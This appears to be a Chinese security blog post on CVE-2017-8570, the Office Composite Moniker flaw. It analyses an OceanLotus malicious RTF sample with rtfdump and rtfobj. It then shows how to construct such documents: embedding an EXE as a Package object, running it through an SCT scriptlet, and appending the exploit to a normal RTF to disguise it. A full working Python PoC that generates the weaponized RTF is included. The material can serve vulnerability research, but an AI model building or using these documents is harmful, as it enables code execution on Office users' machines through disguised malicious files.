专栏首页Gcow安全团队CVE-2017-8570及利用样本分析

CVE-2017-8570及利用样本分析

CVE-2017-8570及利用样本分析

注意事项:1.本文由Gcow安全团队复眼小组的ERFZE师傅原创,未经许可禁止转载2.本文一共1100多字,13张图,预计阅读时间8分钟3.文中提及的方法仅供参考学习,若用在实际情况而造成的损失,本团队以及本公众号概不负责4.本篇文章的漏洞原理不是重点,主要在于利用.所以再本篇文章中提到的漏洞原理的篇幅较少5.若本篇文章中存在说得有错误或者模糊的环节,希望各位看官可以在后台留言或者评论指出,本小组不胜感激!

0x01 漏洞概述:

CVE-2017-8570实际上是一逻辑漏洞,该漏洞利用了OLEComposite Moniker对象在组合File Moniker对象的过程中,未做安全性检查,以致可以直接运行File Moniker对象指定的ScriptletFile(.sct)脚本文件。

0x02 样本分析:

以海莲花组织某样本作为示例。

MD5:72bebba3542bd86dc68a36fda5dbae76

使用rtfdump工具-f O选项过滤RTF文档中的OLE对象:

图片1 rtfdump

之后结合rtfobj分析结果判断其.sct脚本文件位于第213号对象中:

图片2 rtfobj

通过-s 213 -H进行验证:

图片3 sct脚本文件

之后使用输出重定向将结果保存到一文本文件中:

图片4 保存输出结果

最后由awk命令结合正则表达式将其中的脚本内容提取出来:

图片5 提取脚本内容

注:此时可以使用Notepad++或者Sublime对脚本内容进行排版处理,以便阅读:

图片6 排版后

其功能为执行释放到临时目录下的VBS脚本文件。

0x03 样本构造:

部分样本是将EXE文件以Package对象的形式包含在RTF文档内:

图片7 EXE

之后通过SCT脚本去执行该EXE

图片8 SCT脚本

笔者针对此情况对原有POC进行了改造(完整内容见文末):

图片9 修改一

图片10 修改二

图片11 修改三

如此一来,便可将EXE文件以Package对象的形式嵌入到RTF文档中。

生成的RTF文档可以添加到正常RTF文档末尾}之前以进行伪装:

图片12 伪装

笔者用以测试的SCT脚本如下:

<?XML version="1.0"?><scriptlet>
<registration    description="fjzmpcjvqp"    progid="fjzmpcjvqp"    version="1.00"    classid="{204774CF-D251-4F02-855B-2BE70585184B}"    remotable="true"    ></registration>
<script language="JScript"><![CDATA[
        var r = new ActiveXObject("WScript.Shell").Run("%temp%\\write.exe");

]]></script>
</scriptlet>

其中write.exeC:\Windows\System32目录下的正常写字板程序。效果如图:

图片13 效果图

0x04 POC:

import argparseimport osimport structimport randomimport string
class Package(object):    """    Packager spec based on:    https://phishme.com/rtf-malware-delivery/
    Dropping method by Haifei Li:     https://securingtomorrow.mcafee.com/mcafee-labs/dropping-files-temp-folder-raises-security-concerns/
    Found being used itw by @MalwareParty:    https://twitter.com/MalwareParty/status/943861021260861440    """    def __init__(self, filename,rand):        if rand == True:            self.filename = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(15)) + ".sct"        else:            self.filename = filename        self.fakepath = 'C:\\fakepath\\{}'.format(self.filename)
        self.orgpath = self.fakepath        self.datapath = self.fakepath
        with open(filename,'rb') as f:            self.data = f.read()
        self.OBJ_HEAD = r"{\object\objemb\objw1\objh1{\*\objclass Package}{\*\objdata "        self.OBJ_TAIL = r"0105000000000000}}"
    def get_object_header(self):        OLEVersion = '01050000'        FormatID = '02000000'        ClassName = 'Package'        szClassName = struct.pack("<I", len(ClassName) + 1).encode('hex')        szPackageData = struct.pack("<I", len(self.get_package_data())/2).encode('hex')
        return ''.join([            OLEVersion,            FormatID,            szClassName,            ClassName.encode('hex') + '00',            '00000000',            '00000000',            szPackageData,        ])
    def get_package_data(self):          StreamHeader = '0200'        Label = self.filename.encode('hex') + '00'        OrgPath = self.orgpath.encode('hex') + '00'        UType = '00000300'        DataPath = self.datapath.encode('hex') + '00'        DataPathLen = struct.pack("<I", len(self.datapath)+1).encode('hex')        DataLen = struct.pack("<I", len(self.data)).encode('hex')        Data = self.data.encode('hex')        OrgPathWLen = struct.pack("<I", len(self.datapath)).encode('hex')        OrgPathW = self.datapath.encode('utf-16le').encode('hex')        LabelLen = struct.pack("<I", len(self.filename)).encode('hex')        LabelW = self.filename.encode('utf-16le').encode('hex')        DefPathWLen = struct.pack("<I", len(self.orgpath)).encode('hex')        DefPathW = self.orgpath.encode('utf-16le').encode('hex')
        return ''.join([            StreamHeader,            Label,            OrgPath,            UType,            DataPathLen,            DataPath,            DataLen,            Data,            OrgPathWLen,            OrgPathW,            LabelLen,            LabelW,            DefPathWLen,            DefPathW,        ])
    def build_package(self):        return self.OBJ_HEAD + self.get_object_header() + self.get_package_data() + self.OBJ_TAIL
# Bypassing CVE-2017-0199 patch with Composite Moniker: https://justhaifei1.blogspot.co.uk/2017/07/bypassing-microsofts-cve-2017-0199-patch.htmlEXPLOIT_RTF = r"""{{\rt{0}{1}{{\object\objautlink\objupdate{{\*\objclass Word.Document.8}}{{\*\objdata 0105000002000000090000004F4C45324C696E6B000000000000000000000A0000D0CF11E0A1B11AE1000000000000000000000000000000003E000300FEFF0900060000000000000000000000010000000100000000000000001000000200000001000000FEFFFFFF0000000000000000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDFFFFFFFEFFFFFFFEFFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF52006F006F007400200045006E00740072007900000000000000000000000000000000000000000000000000000000000000000000000000000000000000000016000500FFFFFFFFFFFFFFFF020000000003000000000000C000000000000046000000000000000000000000704D6CA637B5D20103000000000200000000000001004F006C00650000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000A000200FFFFFFFFFFFFFFFFFFFFFFFF00000000000000000000000000000000000000000000000000000000000000000000000000000000100100000000000003004F0062006A0049006E0066006F00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000120002010100000003000000FFFFFFFF00000000000000000000000000000000000000000000000000000000000000000000000004000000060000000000000003004C0069006E006B0049006E0066006F000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000014000200FFFFFFFFFFFFFFFFFFFFFFFF00000000000000000000000000000000000000000000000000000000000000000000000005000000B700000000000000010000000200000003000000FEFFFFFFFEFFFFFF0600000007000000FEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF010000020900000001000000000000000000000000000000C00000000903000000000000C000000000000046020000000303000000000000C00000000000004600001A00000025544D50255C{2}000E00ADDE000000000000000000000000000000000000000038000000320000000300250054004D00500025005C00{3}C6AFABEC197FD211978E0000F8757E2A000000000000000000000000000000000000000000000000FFFFFFFF0609020000000000C00000000000004600000000FFFFFFFF0000000000000000906660A637B5D201000000000000000000000000000000000000000000000000100203000D00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000105000000000000}}}}}}"""

def build_exploit(sct,exe):    sct_p = Package(sct,rand=True)    sct_package = sct_p.build_package()    exe_p = Package(exe,rand=False)    exe_package = exe_p.build_package()    return EXPLOIT_RTF.format(exe_package,sct_package, sct_p.filename.encode('hex'), sct_p.filename.encode('utf-16le').encode('hex'))

if __name__ == '__main__':    parser = argparse.ArgumentParser(description="PoC exploit for CVE-2017-8750 (a.k.a. \"composite moniker\") using Packager.dll file drop method")    parser.add_argument("-s", "--sct", help="Sct file to execute", required=True)    parser.add_argument("-e", "--exe", help="Exe file", required=True)    parser.add_argument('-o', "--output", help="Output file for RTF", required=True)
    args = parser.parse_args()
    with open(args.output, 'w') as f:        f.write(build_exploit(args.sct,args.exe))        print "[+] RTF file written to: {}".format(args.output)

0x05 参考链接:

•需要用于多行搜索的正则表达式(grep)(https://www.it-swarm.dev/zh/regex/%E9%9C%80%E8%A6%81%E7%94%A8%E4%BA%8E%E5%A4%9A%E8%A1%8C%E6%90%9C%E7%B4%A2%E7%9A%84%E6%AD%A3%E5%88%99%E8%A1%A8%E8%BE%BE%E5%BC%8F%EF%BC%88grep%EF%BC%89/970994208/)•CVE-2017-8570首次公开的野外样本及漏洞分析(https://paper.seebug.org/520)•Analysis of a CVE-2017-0199 Malicious RTF Document(https://blog.nviso.eu/2017/04/12/analysis-of-a-cve-2017-0199-malicious-rtf-document/)•CVE-2017-8570(https://github.com/rxwx/CVE-2017-8570)

本文分享自微信公众号 - Gcow安全团队(Gcow666),作者:复眼小组

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2020-08-07

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • VulnHub通关日记-Mr-Robot-1-Nmap提权获取Flag

    靶机介绍:根据演练,机器人先生。此VM具有隐藏在不同位置的三个Key。您的目标是找到全部三个。每个Key逐渐难以找到。该级别被认为是初学者-中级。 下载地址:h...

    Gcow安全团队
  • 内网渗透之Scan_OXID

    进行红队评估至少需要四个阶段,包括侦察,扫描,获取和维护访问权限。在扫描阶段,攻击者(或威胁执行者)需要尽可能完整地识别内部网络体系结构。这种(子)网络制图可以...

    Gcow安全团队
  • Web漏洞 | CORS跨域资源共享漏洞

    有关于浏览器的同源策略和如何跨域获取资源,传送门 -->浏览器同源策略和跨域的实现方法

    Gcow安全团队
  • python面向对象学习(一)

    类是创建实例的模板,实例是一个个的具体的对象,每一个实例都拥有各自的属性,而方法便是与实例绑定的函数,在函数中可以访问实例的数据

    dogfei
  • R-Breaker策略

    本文提供了一个用vn.py来编写R-breaker交易策略的示例。只提供一个参考模板,并不能直接进入市场进行交易。感谢‘爱谁谁’在维恩的派论坛里的分享!

    用Python的交易员
  • 手把手教你用keras搭建GAN

    github:https://github.com/chenyang1999/KerasGAN/blob/master/gan/gan.py

    OpenCV学堂
  • 看得懂的外观设计模式 python3 实现

    外观设计模式在平常的代码编写中,会经常使用。在平常代码的编写时,即使程序员没有从标准上认识过外观设计模式,但在开发的过程中,也会从代码的多方面角度考虑,从而编写...

    碧油鸡
  • Python 学习之面向对象「下」

    Python技术与生活认知的分享
  • python3--面向对象进阶之内置方法

    print执行时,是去内部寻找__str__方法,所以print没有输出不了的数据,因为每一个对象都有__str__方法

    py3study
  • 基于Keras的DCGAN实现

    生成对抗网络(Generative Adversarial Network,简称GAN)是非监督式学习的一种方法,通过让两个神经网络相互博弈的方式进行学习。

    卡尔曼和玻尔兹曼谁曼

扫码关注云+社区

领取腾讯云代金券